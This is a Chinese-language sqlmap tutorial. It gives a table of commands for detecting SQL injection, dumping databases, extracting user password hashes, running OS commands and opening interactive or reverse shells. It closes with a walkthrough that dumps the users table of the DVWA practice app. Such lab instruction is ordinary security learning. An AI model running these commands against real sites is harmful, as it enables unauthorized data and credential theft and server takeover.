sqlmap 是用python编写的渗透测试工具,可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。通常检测到存在sql注入点时,就可以利用此工具来进行验证。
下载使用SQLMap下载地址:https://sqlmap.org/#download
Python下载地址:https://www.python.org/downloads/
根据以上下载地址来获取安装包
SQLmap:
Python:
下载完后安装即可使用。
使用方法打开sqlmap所在目录,打开命令行。
在命令行中输入python sqlmap.py -u "http://xxx.com -p “id” --cookie=“xxxx”
结果
| 检测注入点 | python sqlmap.py -u “http://xxx.com?id=1” |
|---|---|
| 列出数据库 | python sqlmap.py -u “http://xxx.com?id=1” --dbs |
| 列出数据表 | python sqlmap.py -u “http://xxx.com?id=1” -D database --tables |
| 列出字段名 | python sqlmap.py -u “http://xxx.com?id=1” -D database -T table_name --columns |
| 列出字段 | python sqlmap.py -u “http://xxx.com?id=1” -D database -T table_name -C coulmn_name --dump |
| 设置cookie | python sqlmap.py -u “http://xxx.com?id=1” --cookie= |
|---|---|
| 检测cookie头 | python sqlmap.py -u “http://xxx.com?id=1” --level=2 --cookie= |
| 指定参数检测 | python sqlmap.py -u “http://xxx.com?id=1&article=1” -p “id” |
| 自动判断 | python sqlmap.py -u “http://xxx.com?id=1&article=1” --batch |
| 注入结果在其他页面 | python sqlmap.py -u “http://xxx.com?id=1&article=1” --second-url “http://xxx.com” |
| 设置代理 | python sqlmap.py -u “http://xxx.com?id=1” --proxy=“xxx” |
| 设置探测等级 | python sqlmap.py -u “http://xxx.com?id=1” --level |
| 设置风险等级 | python sqlmap.py -u “http://xxx.com?id=1” --risk |
| 判断状态码 | python sqlmap.py -u “http://xxx.com?id=1” – code=200 |
| 响应体返回参数 | python sqlmap.py -u “http://xxx.com?id=1” --string=“xxx”; |
| 添加正则 | python sqlmap.py -u “http://xxx.com?id=1” --regexp |
| 查找在错误页面中的字符串 | python sqlmap.py -u “http://xxx.com?id=1” --not-string |
| POST参数 | python sqlmap.py -u “http://xx.com?id=1” --data=“xxx” |
| referer参数 | python sqlmap.py -u “http://xx.com?id=1” --level=3 --referer=http://xxx.com |
| 批量检查 | python sqlmap.py -m 路径 |
| 检测https | python sqlmap.py -u “https://xxx.com” --force-ssl |
| 获取当前用户名称 | python sqlmap.py -u “http://xxx.com” --current-user |
| 获取当前数据库名称 | python sqlmap.py -u “http://xxx.com” --current-db |
| 确认是否为dba | python sqlmap.py -u “http://xxx.com” --is-dba |
| 查看权限 | python sqlmap.py -u “http://xxx.com” --privileges |
| 查看指定用户权限 | python sqlmap.py -u “http://xxx.com” --privileges -U username |
| 获取所有数据库用户密码 | python sqlmap.py -u “http://xxx.com” --passwords |
| 获取指定用户密码 | python sqlmap.py -u “http://xxx.com” --passwords -U username |
| 获取所有数据库角色 | python sqlmap.py -u “http://xxx.com” --roles |
| 获取所有数据库用户 | python sqlmap.py -u “http://xxx.com” --users |
| 获取所有数据库所有表 | python sqlmap.py -u “http://xxx.com” --dump-all |
| 执行系统命令 | python sqlmap.py -u “http://xxx.com” --os-cmd=xxx |
| 系统交互shell | python sqlmap.py -u “http://xxx.com” --os-shell |
| 执行指定sql语句 | python sqlmap.py -u “http://xxx.com” --sql-shell |
| 反弹shell | python sqlmap.py -u “http://xxx.com” --os-pwn |
| 读取windows注册表 | python sqlmap.py -u “http://xxx.com” --reg-read |
| 多线程 | python sqlmap.py -u “http://xxx.com” –threads |
它共有五个等级,1-5,默认为1,等级2测试Cookie,等级3User-Agent/Referer头,等级4,5则会测试xff头等其他头部,如果想测试的全面一些可以用较高的level值。
–risk它有3个等级划分,1-3,1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
使用案例这里用dvwa来测试,等级为高
通过正常流程测试,可以有两个页面,小页面用来接收sql参数,主页面用来显示结果,那么就要用到 --second-url参数
由于sqlmap去访问dvwa需要登录,则还需要用到--cookie参数
再看数据包是POST传值,则还要用到--data参数,且我们知道id可能是存在注入点,则用-p来指定检测参数。
所以检测是否存在sql注入的完整语句如下:
python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id"
检测是存在sql注入的,并且返回了mysql的版本以及注入手段,payload等。
那么直接查库 --dbs,如果想看当前库则使用 --current-db
python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id" --dbs
这里我指定dvwa库,现在来查表 --tables
python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id" -D dvwa --tables
查users字段名 --columns
python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id" -D dvwa -T users --columns
获取user,password的数据 --dump
python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id" -D dvwa -T users -C user,password --dump
以上就是sqlmap的基本使用,其他参数表哥们可以自行研究下。



